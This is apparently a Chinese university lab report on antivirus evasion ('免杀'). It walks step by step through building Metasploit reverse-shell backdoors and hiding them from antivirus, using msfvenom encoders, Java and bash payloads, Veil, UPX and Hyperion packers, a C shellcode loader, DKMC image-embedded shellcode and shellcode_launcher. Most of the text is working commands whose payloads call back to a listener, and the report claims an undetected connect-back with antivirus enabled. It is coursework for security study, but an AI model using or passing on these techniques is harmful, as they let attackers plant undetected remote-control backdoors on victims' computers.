Exp3 免杀原理与实践
一、实践要求
1. 方法
①正确使用msf编码器
②msfvenom生成如jar之类的其他文件
③veil
④加壳工具
⑤使用C + shellcode编程
⑥使用其他课堂未介绍方法
2. 通过组合应用各种技术实现恶意代码免杀
3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验内容
1.方法
①正确使用msf编码器
(1)将上一个实验中用msf
生成的后门程序放到virustotal检测,发现绝大多数的杀毒软件都可以辨别其为病毒,这类病毒几乎可以说是出师未捷身先死,刚进入就被杀软给杀掉了。
(2)接下来我们开始使用msf编码器:
- 查看可以进行的编码类型: msfvenom --list encoders
- 使用 x86/shikata_ga_nai 方式进行编码
- 1次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-b 'x00' LHOST=192.168.81.129 LPORT=5113 -f exe >20175113cd2.exe
- 8次编码: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b 'x00' LHOST=192.168.81.129 LPORT=5113 -f exe >20175113cd2.exe
- 将两次编码后的文件放到virustotal检测,结果依然没有太大变化
- 综上,仅通过编码方式生成的payload是不可能做到免杀的
②msfvenom生成如jar之类的其他文件
- 生成Java文件: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 x> 20175113_ja.jar
- 可以观察到,查杀率比简单编码方式要好些,但依然不乐观
- 生成bash文件: msfvenom -p cmd/unix/reverse_bash LHOST=192.168.81.129 LPORT=5113 -f raw > 20175113.sh
- bash是Linux系统脚本,在Windows下可能不会一般有人装环境来实现运行bash,所以杀软也不会记录这种文件,所以查杀率为0
- 使用msfvenom生成更多类型后门程序请参见该博客
③veil
- veil的安装明明简单却过于费心,可以在kali上在线安装veil:sudo apt-get install veil-evasion
- 安装完成后进入界面:veil
- 使用veil-evasion: use 1
- 可以观察到我们有41个payload,可以使用list 查看payload以及使用use 数字 选取对应的payload
- 选取 powershell/meterpreter/rev_tcp:use 22
- 设置反弹连接的参数:
- ip: set LHOST 192.168.81.129
- 端口: set LPORT 5113
- 生成: generate
- 文件名: 20175113
- 对文件扫描,结果还是不如人意
④加壳工具
- 对①中生成的程序进行压缩壳upx加壳: upx 20175113cd2.exe -o 20175113cd2.upxed.exe
- 对①中生成的程序进行加密壳Hyperion加壳
- 将要加密的程序复制到hyperion文件夹中:cp 20175113cd2.exe /usr/share/windows-resources/hyperion/20175113cd2.exe
- 进入hyperion文件夹:cd /usr/share/windows-resources/hyperion/
- 对程序进行加密壳:wine hyperion.exe -v 20175113cd2.exe 20175113cd2.upxed.Hy.exe
⑤使用C + shellcode编程
- 使用msfvenom生成shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f c
- 新建一个5113sc.c文件,将上面生成的buf[]代入,内部代码为:
#include <stdio.h> unsigned char buf[]=//生成的shellcode int main() { int (*func)()=(int(*)())buf;//调用shellcode func(); }
- 安装mingw-w64: apt-get install mingw-w64
- 使用
mingw-w64
将c文件生成exe文件: i686-w64-mingw32-g++ 5113sc.c -o 5113sc.exe - 对5113sc.exe检测一下
- 按照实验二步骤尝试回连,发现回连成功
⑥使用其他课堂未介绍方法
下面介绍的DKMC方法是一种未成功免杀的方法,具体方法参考教程
- 安装DKMC: git clone https://github.com/Mr-Un1k0d3r/DKMC.git
- 使用Msf生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.129 LPORT=5113 -f raw > 5113
- 进入DKMC文件夹: cd /home/20175113wr/DKMC/
- 执行: python dkmc.py
- 在DKMC中输入选项: sc
- 设置source: set source /home/20175113wr/5113
- 生成shellcode: run
- 返回主菜单: exit
- 在DKMC中输入选项: gen
- 设置shellcode: set shellcode .....(shellcode为run生成的shellcode)
- 生成图像: run
- 返回主菜单: exit
- 在DKKMC中输入选项: ps
- 设置url地址: set url http://192.168.81.129:8080/ .bmp(图片名为gen生成的图片名,可以手动重命名)
- 生成bat文件: run
- 返回主菜单: exit
- 在DKKMC中输入选项: web
- 设置端口: set port 8080
- 启动web服务: run
- 启动msfconsole
- 将生成的bat文件在windows环境打开(或者命令提示符直接输入生成的powershell的代码)
- 这种方法不能免杀
- 关闭杀软的情况下,能成功回连
- 这种将shellcode嵌入图片,通过网络分发的方法是课堂上没有提过的,失败的原因可能是因为企图调用powershell,而av和win10机制对这种行为极为敏感,所以难以达到免杀的目的
2.通过组合应用各种技术实现恶意代码免杀&3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
这是一种使用shellcode加载器的方法,具体步骤参考教程,shellcode加载器中效果最好使用较多的就是shellcode_launcher了(附上下载地址)
- 使用Msfvenom生成raw格式的shellcode: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.81.129 lport=5113 -f raw -o 20175113.raw
- 打开msfconsole进行监听:
use exploit/multi/handler //监听设置payload set payload set payload windows/meterpreter/reverse_tcp //使用与生成后门程序一样的payload set LHOST 192.168.81.129 //Linux端的IP地址 set LPORT 5113 //与之前输入的端口号一致 exploit //开始监听
- 在另一台正常开启杀软的Windows命令提示符输入: shellcode_launcher.exe -i 20175113.raw
- 观察到成功回连,杀软没有查杀,且shellcode_launcher.exe和20175113.raw通过检测
- Windows版本:Windows 10, version 1909,杀软:火绒5.0.40.12
三、基础问题回答
1.杀软是如何检测出恶意代码的?
(一)特征代码法:该方法是目前杀毒工具中必备的组成部分
(二)校验和法:文件完整性保护,主要用于检测系统文件是否被篡改。
(三)行为监测法:监测恶意代码执行时的行为特征,可以识别恶意代码的名称或者是种类,也可以检测未知的恶意代码。
2.免杀是做什么?
免杀是可以使杀毒软件无法检测到其为病毒程序,从而可以使其“正常运行”
3.免杀的基本方法有哪些?
(1)采用不同的编码方式,或者编码次数
(2)对编码后生成的文件进行加壳,加压缩壳或者是加密壳
(3)还可以使用反弹端口,一些防火墙不会对本机发出的请求进行过滤
4.开启杀软能绝对防止电脑中恶意代码吗?
开启杀软并不能绝对防止电脑中恶意代码,不过及时更新杀软,少打开不安全的链接、少下载盗版软件,还是能大大降低中招的几率。
四、实验体会
这次实验让我见识到了各式各样的防杀技巧,杀软在现在网络信息时代是非常重要的,但单单依靠杀软是力不能逮的,对恶意代码有一定的了解,才能有的放矢,不至于被泄露隐私。